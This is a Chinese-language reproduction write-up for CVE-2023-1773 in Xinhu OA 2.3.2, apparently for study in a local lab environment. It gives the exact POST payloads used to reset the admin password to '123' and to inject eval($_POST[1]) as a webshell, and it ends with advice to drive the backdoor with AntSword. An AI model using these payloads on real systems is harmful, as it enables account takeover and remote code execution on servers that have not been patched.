跳到主要内容

CVE-2023-1773

信息

Tags

  • 信呼 OA <= 2.3.3 代码注入

官方数据库记录

Rockoa 2.3.2 中发现一个漏洞。 它已被宣布为关键。 该漏洞影响组件配置文件处理程序的文件 webmainConfig.php 的未知代码。 这种操纵会导致代码注入。 攻击可以远程发起。 该漏洞已向公众披露并可能被使用。 VDB-224674 是分配给此漏洞的标识符。

参考

注意

需要注意的是,这里环境复现需要自行在本地部署一个信呼 v2.3.2 的环境进行调试

环境已经打包好:CTF-Archives/xinhu-v2.3.2: 信呼 v2.3.2 针对CVE-2023-1773的研究环境

需要注意,环境初始化的时候

  • 地址:localhost
  • 数据库用户:root
  • 数据库密码:123456

首先,根据分析文章的流程,在本地环境中修改 webmain/task/api/reimplatAction.php 文件

// 平台上通知过来的数据
public function indexAction()
{
$body = $this->getpostdata();
// add debug
echo $body."<br>";
if(!$body)return;
$db = m('reimplat:dept');
// add debug
$key = $db->gethkey();
$test=$this->jm->strlook($body,$key);
echo $test."<br>";
$bodystr = $this->jm->strunlook($body, $key);
if(!$bodystr)return;

这样子,就可以在本地获取到处理过后的字符串

修改 admin 用户密码

然后,向路由 /?p=webmain&d=task&m=reimplat|api&a=index POST 以下数据

{"msgtype":"editpass","user":"admin","pass":"123"}

img

得到

{"msgtype":"editpass","user":"admin","pass":"123"}
31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEY2Jnh7Y:

继续向路由 /?p=webmain&d=task&m=reimplat|api&a=index POST 编码后的数据

img

得到

31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEY2Jnh7Y:
l2WSyWmYkpFrx52Uy3mgh91umYqhh5CZ1pm0i46IrNmWgZu9j9CZjqWznoLQjFF7v4KQhZ2qr5K60Nd9jWSB08xrip4:

此时,用户 admin 的密码已经被修改,修改为 123 之后就可以直接登录

img

写入 webshell

进一步攻击,写入 webshell

向路由 /?p=webmain&d=task&m=reimplat|api&a=index POST 以下数据

{
"msgtype":"editmobile",
"user":"admin",
"mobile":"11',name='\neval($_POST[1]);//"
}

img

得到

31ae15.X3amdiGpSx5aZqNKompmcnltkcm2IraeXqYeeVpLIpczSW2RzOlLPoZKd0Z5aalJqal!R0celmW9ewdKZp8Wki4iYiLWDhL1jjV2gaGdSrQ::

将得到的数据再次 POST 过去

img

此时查询数据库,就可以发现数据库的数据被篡改

img

此时在系统上重新登录,然后访问 /?p=webmain&d=system&m=cog|cog&ajaxbool=true&a=savecong 路由,就是 webshell

img

即可在远程环境中部署 webshell 后门,直接使用蚁剑进行利用即可